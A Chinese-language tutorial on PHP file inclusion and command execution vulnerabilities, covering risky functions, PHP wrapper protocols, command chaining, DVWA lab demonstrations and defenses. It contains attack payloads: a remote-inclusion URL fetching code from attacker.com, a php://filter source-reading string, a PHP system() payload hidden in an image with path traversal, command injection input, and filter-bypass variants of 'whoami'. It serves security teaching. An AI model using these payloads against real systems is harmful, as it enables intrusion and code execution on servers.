文件包含与命令执行漏洞详解
字数 2222 2025-08-15 21:32:00
文件包含与命令执行漏洞详解
一、文件包含漏洞
1. 基本概念
文件包含漏洞是指通过PHP的相应函数(如include())引入文件时,由于传入的文件名没有经过合理校验,导致操作了预想之外的文件,可能造成文件泄露或恶意代码注入。
形成条件:
- 用户能够控制文件内容(上传新文件或借用服务器已有文件)
- include()等函数通过动态变量方式引入需要包含的文件
2. 常用文件包含函数
| 函数 | 描述 | 特点 |
|---|---|---|
| include() | 包含文件 | 执行到该函数时才包含,错误时只警告 |
| include_once() | 同include() | 重复调用同一文件时只调用一次 |
| require() | 包含文件 | 执行错误时终止脚本,程序执行立即调用 |
| require_once() | 同require() | 重复调用同一文件时只调用一次 |
| highlight_file() | 高亮显示文件源码 | 别名show_source |
| file_get_contents() | 将整个文件读入字符串 | |
| file() | 将文件读入数组 | 每行作为数组元素 |
| fopen() | 打开文件或URL | 需指定访问模式(r,r+,w,w+,a,a+,x,x+) |
| readfile() | 输出文件内容 | 返回读取的字节数 |
3. 关键配置选项
allow_url_include:是否允许引用URL文件(激活URL形式的fopen封装协议)allow_url_fopen:是否允许打开URL文件
4. 本地文件包含(LFI)
特点:能够读取或执行包含本地文件的漏洞,被包含的文件会被当作PHP文件执行。
示例:
http://example.com/file.php?filename=1.jpg
即使1.jpg是图片文件,如果包含PHP代码,也会被当作PHP执行。
5. 远程文件包含(RFI)
条件:allow_url_include和allow_url_fopen都为ON。
示例:
http://example.com/file.php?filename=http://attacker.com/1.txt
1.txt中的内容会被当作PHP代码执行。
6. PHP伪协议
| 协议 | 功能 | 使用条件 |
|---|---|---|
| file:// | 访问本地文件系统 | allow_url_fopen任意 |
| php://filter | 访问I/O流 | allow_url_fopen任意 |
| http:// | 访问HTTP(s)网址 | allow_url_fopen=ON |
| ftp:// | 访问FTP(s) | allow_url_fopen=ON |
| data:// | 数据(RFC2397) | allow_url_include=ON |
| zlib:// | 压缩流 | allow_url_fopen=ON |
| glob:// | 查找匹配文件路径 | allow_url_fopen=ON |
重要协议详解:
- file协议:
file://C:/windows/system.ini
- php://filter(重要):
php://filter/read/convert.base64-encode/resource=file.php
用于读取脚本文件内容,特别是含有PHP代码时需使用base64编码转换。
7. 文件包含漏洞危害
- 敏感信息泄露
- 获取Webshell
- 任意命令执行
二、命令执行漏洞
1. 基本概念
当Web应用提供执行系统命令功能时,如果用户输入未经严格过滤,可能导致执行恶意命令。
2. 常用命令执行函数
| 函数 | 描述 | 特点 |
|---|---|---|
| 反撇号`` | 执行shell命令 | 输出并返回结果 |
| system() | 执行外部程序 | 输出并返回最后一行结果 |
| passthru() | 执行外部程序 | 原样输出结果,返回状态码 |
| exec() | 执行外部程序 | 不输出结果,返回最后一行或数组 |
| shell_exec() | 通过shell执行命令 | 返回命令输出 |
| eval() | 执行PHP代码 | 可嵌套执行系统命令 |
3. 命令拼接符号
;:连续执行&&:前命令成功则执行后命令||:前命令失败则执行后命令|:管道符&:后台执行
4. 黑名单绕过方法
- 变量拼接:
a=who;b=ami;$a$b
- 特殊字符插入:
wh$@oami
wh$*oami
wh$1oami
- 通配符:
/u?r/bin/who?mi
- 转义字符:
w'\test'hoami
三、实验演示
1. 文件包含实验(DVWA环境)
- 创建含PHP代码的图片文件(1.jpeg):
<?php system('whoami'); ?>
- 上传文件并获取路径:
../../hackable/uploads/1.jpeg
- 通过文件包含执行:
http://target.com/file.php?filename=../../hackable/uploads/1.jpeg
2. 命令执行实验(DVWA环境)
- 在命令执行界面输入:
127.0.0.1 && ifconfig
- 提交后同时显示ping结果和网卡信息
四、防御措施
1. 文件包含漏洞防御
- 关闭不必要的PHP配置:
allow_url_include = Off
allow_url_fopen = Off
- 严格检查用户输入:
- 白名单验证包含的文件名
- 检查文件扩展名
- 禁止包含用户可控的文件
- 设置包含目录限制:
open_basedir = /var/www/html
2. 命令执行漏洞防御
- 避免使用命令执行函数
- 使用替代函数实现功能
- 严格过滤用户输入:
- 白名单验证
- 转义特殊字符
- 禁用危险函数
- 最小权限原则:
- 以低权限用户运行Web服务
五、总结
文件包含和命令执行漏洞都是由于对用户输入缺乏充分验证导致的严重安全问题。理解这些漏洞的原理、利用方式和防御措施,对于Web应用安全至关重要。在实际开发中,应始终遵循"不信任用户输入"的原则,实施严格的安全控制措施。